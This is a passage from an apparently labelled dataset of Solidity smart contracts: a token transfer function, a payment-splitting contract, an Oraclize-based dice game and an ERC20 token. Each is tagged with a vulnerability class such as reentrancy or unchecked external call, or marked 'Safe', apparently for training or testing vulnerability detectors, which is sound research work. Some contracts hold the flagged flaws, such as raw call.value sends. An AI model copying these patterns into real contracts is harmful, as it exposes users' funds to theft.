function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }",./Dataset/reentrancy (RE)/,5,5 0x038a4d4bacb8ffc2ca2b1732d1e755646cfc0086_SplitIt.sol,"pragma solidity ^0.4.0; /// ETH sent to the contract address will be split by half and sent to 2 addresses. contract SplitIt { struct SplitAgreement { address from; address to1; address to2; } address private owner; // Sender -> Agreement Owner mapping (address => address) private senderToOwner; // Agreement Owner -> SplitAgreement mapping (address => SplitAgreement) private splitAgreements; // Split sent event Sent(address from, address to, uint amount); // Sent failed, sender refunded event Refunded(address from, address to, uint amount); // Refund failed, 'agreement owner' refunded event OwnerRefunded(address agreementOwner, address from, address to, uint amount); // All refunds failed, the balance will be kept by the Contract Owner. event Penalty(address agreementOwner, uint amount); modifier onlyExecuteBy(address _account) { require(msg.sender == _account); _; } function SplitIt() public { owner = msg.sender; } function() payable public { require(msg.value > 0); // if odd number, the contract keep the difference as fee. uint splitValue = msg.value / 2; processSplit(msg.sender, splitValue); } function createSplitAgreement(address from, address to1, address to2) public { // Require the sender address to not be in use. require(senderToOwner[from] == address(0)); splitAgreements[msg.sender].from = from; splitAgreements[msg.sender].to1 = to1; splitAgreements[msg.sender].to2 = to2; senderToOwner[from] = msg.sender; } function endSplitAgreement() public { address from = splitAgreements[msg.sender].from; senderToOwner[from] = address(0); splitAgreements[msg.sender].from = address(0); splitAgreements[msg.sender].to1 = address(0); splitAgreements[msg.sender].to2 = address(0); } function collectFees() public onlyExecuteBy(owner) { msg.sender.transfer(this.balance); } function processSplit(address from, uint amount) private { address agreementOwner = senderToOwner[from]; require(agreementOwner != address(0)); processSend(from, splitAgreements[agreementOwner].to1, amount); processSend(from, splitAgreements[agreementOwner].to2, amount); } function processSend(address from, address to, uint amount) private { if (to.send(amount)) { // Try to send Sent(from, to, amount); } else if(from.send(amount)) { // Try to refund the sender Refunded(from, to, amount); } else if(senderToOwner[from].send(amount)) { // Try to refund the agreement owner OwnerRefunded(senderToOwner[from], from, to, amount); } else { // The contract owner keeps the funds. Penalty(senderToOwner[from], amount); } } }",Safe,8,8 40297.sol,"// /* Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { address oraclizeAddr = OAR.getAddress(); if (oraclizeAddr == 0){ oraclize_setNetwork(networkID_auto); oraclizeAddr = OAR.getAddress(); } oraclize = OraclizeI(oraclizeAddr); _ } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _ } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); return true; } if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } // contract Dice is usingOraclize { uint public pwin = 5000; //probability of winning (10000 = 100%) uint public edge = 200; //edge percentage (10000 = 100%) uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint public minBet = 1 finney; uint public maxInvestors = 5; //maximum number of investors uint public houseEdge = 50; //edge percentage (10000 = 100%) uint public divestFee = 50; //divest fee percentage (10000 = 100%) uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) uint safeGas = 25000; uint constant ORACLIZE_GAS_LIMIT = 125000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 7 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBetted; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) public investorIDs; mapping(uint => Investor) public investors; uint public numInvestors = 0; uint public invested = 0; address owner; address houseAddress; bool public isStopped; WithdrawalProposal public proposedWithdrawal; mapping (bytes32 => Bet) bets; bytes32[] betsKeys; uint public amountWagered = 0; uint public investorsProfit = 0; uint public investorsLoses = 0; bool profitDistributed; event BetWon(address playerAddress, uint numberRolled, uint amountWon); event BetLost(address playerAddress, uint numberRolled); event EmergencyWithdrawalProposed(); event EmergencyWithdrawalFailed(address withdrawalAddress); event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event FailedSend(address receiver, uint amount); event ValueIsTooBig(); function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint houseEdgeInitial, uint divestFeeInitial, uint emergencyWithdrawalRatioInitial ) { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); pwin = pwinInitial; edge = edgeInitial; maxWin = maxWinInitial; minBet = minBetInitial; maxInvestors = maxInvestorsInitial; houseEdge = houseEdgeInitial; divestFee = divestFeeInitial; emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; owner = msg.sender; houseAddress = msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _ } modifier onlyIfStopped { if (!isStopped) throw; _ } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _ } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _ } modifier onlyOwner { if (owner != msg.sender) throw; _ } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _ } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _ } modifier onlyMoreThanZero { if (msg.value == 0) throw; _ } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { Bet thisBet = bets[myid]; if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { _ } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } _ } modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { if (getBalance(currentInvestor) >= 0) { _ } } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _ } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _ } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _ } modifier rejectValue { if (msg.value != 0) throw; _ } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _ } } modifier onlyIfValidGas(uint newGasLimit) { if (newGasLimit < 25000) throw; _ } modifier onlyIfNotProcessed(bytes32 myid) { Bet thisBet = bets[myid]; if (thisBet.numberRolled > 0) throw; _ } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _ } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { return invested + investorsProfit - investorsLoses; } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLosesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); } function searchSmallestInvestor() constant returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } // PRIVATE HELPERS FUNCTION function safeSend(address addr, uint value) private { if (this.balance < value) { ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); } } } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint losesOfInvestor = getLosesShare(currentInvestor); investors[i].amountInvested += profitOfInvestor - losesOfInvestor; copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLoses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() { bet(); } function bet() onlyIfNotStopped onlyMoreThanZero { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { // encrypted arg: '\n{""jsonrpc"":2.0,""method"":""generateSignedIntegers"",""params"":{""apiKey"":""YOUR_API_KEY"",""n"":1,""min"":1,""max"":10000},""id"":1}' bytes32 myid = oraclize_query(""URL"", ""json(https://api.random.org/json-rpc/1/invoke).result.random.data.0"",""BMqCkR6ERfTgjv9BtaRd2S2NWirIAz7TB6ALz0XbvdVWCgTtEPbrjZLdT35E/8dE1+e5+/gBjWoIqKWNideh2+YbwbcGrpBL5YqcGEKc01w1UjgKFcGtzDPcKaSBpnfm2flusxOpZ0p5EldkN3ljODfLdkk9PnHfHCObTrxWYCKUq54Zx7VOLbcZMTJDF8MQxhBeTamalSWUS9R7t2vNYmem8Wjp9TFKrMk7skOr31HS0rPC5T7/iiekUXIvPgukMf9ufONnUddphAGI3mMN6yH6UqE9REMn8U91/jcjIbw="", ORACLIZE_GAS_LIMIT + safeGas); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback (bytes32 myid, string result, bytes proof) onlyOraclize onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(thisBet, numberRolled); isLosingBet(thisBet, numberRolled); amountWagered += thisBet.amountBetted; delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); investorsLoses += (winAmount - thisBet.amountBetted); } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment { profitDistribution(); if (numInvestors == maxInvestors) { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); } numInvestors++; addInvestorAtID(numInvestors); } function divest() onlyInvestors rejectValue { divest(msg.sender); } function divest(address currentInvestor) private onlyIfInvestorBalanceIsPositive(currentInvestor) { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; delete investors[currentID]; delete investorIDs[currentInvestor]; //Reorder investors if (currentID != numInvestors) { // Get last investor Investor lastInvestor = investors[numInvestors]; //Set last investor ID to investorID of divesting account investorIDs[lastInvestor.investorAddress] = currentID; //Copy investor at the new position in the mapping investors[currentID] = lastInvestor; //Delete old position in the mappping delete investors[numInvestors]; } numInvestors--; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); } function forceDivestOfAllInvestors() onlyOwner rejectValue { uint copyNumInvestors = numInvestors; for (uint i = 1; i <= copyNumInvestors; i++) { divest(investors[1].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped rejectValue { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner rejectValue { isStopped = true; } function resumeContract() onlyOwner rejectValue { isStopped = false; } function changeHouseAddress(address newHouse) onlyOwner rejectValue { houseAddress = newHouse; } function changeOwnerAddress(address newOwner) onlyOwner rejectValue { owner = newOwner; } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) rejectValue { safeGas = newGasLimit; } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped rejectValue { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner rejectValue { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed rejectValue { uint numOfVotesInFavour; uint amountToWithdrawal = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(this.balance)) { EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); } } else { throw; } } }",./Dataset/unchecked external call (UC),7,7 709.sol,"pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BithelloToken is StandardToken, Ownable { // Constants string public constant name = ""Bithello Token""; string public constant symbol = ""BITHELLO""; uint8 public constant decimals = 4; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); mapping(address => bool) touched; function BithelloToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = 